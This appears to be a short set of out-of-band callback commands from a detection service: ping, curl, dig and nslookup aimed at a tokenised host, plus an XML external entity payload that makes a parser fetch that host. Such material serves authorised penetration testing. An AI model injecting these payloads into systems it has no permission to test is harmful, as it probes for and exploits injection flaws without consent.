$ ping -c1 -p 00646f1aded34f91600aaa2286beba00 unhack.ca
$ curl http://unhack.ca/p/646f1aded34f91600aaa2286beba
$ dig 646f1aded34f91600aaa2286beba @unhack.ca
$ dig 646f1aded34f91600aaa2286beba.ns.unhack.ca
C:\> nslookup 646f1aded34f91600aaa2286beba unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/646f1aded34f91600aaa2286beba">]> <foo>&xxe;</foo>